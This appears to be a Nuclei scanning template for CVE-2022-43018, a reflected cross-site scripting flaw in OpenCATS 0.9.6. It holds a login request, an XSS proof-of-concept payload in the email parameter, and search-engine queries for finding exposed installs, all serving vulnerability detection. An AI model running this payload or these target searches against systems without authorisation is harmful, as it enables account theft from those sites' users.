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OpenCATS 0.9.6 - Cross-Site Scripting

ID: CVE-2022-43018

Severity: medium

Author: arafatansari

Tags: cve,cve2022,xss,opencats,authenticated

OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

id: CVE-2022-43018
info:
name: OpenCATS 0.9.6 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Upgrade to a patched version of OpenCATS or apply the necessary security patches provided by the vendor.
reference:
- https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_checkEmail.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-43018
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-43018
cwe-id: CWE-79
epss-score: 0.00088
epss-percentile: 0.37623
cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: opencats
product: opencats
shodan-query:
- title:"OpenCATS"
- http.title:"opencats"
fofa-query: title="opencats"
google-query: intitle:"opencats"
tags: cve,cve2022,xss,opencats,authenticated
http:
- raw:
- |
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email=</script><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>:0'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502210096a20e7499a84af3a928b060625ea95e9ede9aa1c11214aced64b140fb81c11a022073199cf8ea46d7ea0443bcdff47d8098b0a6e4c0946e287dea99ec54b5030184:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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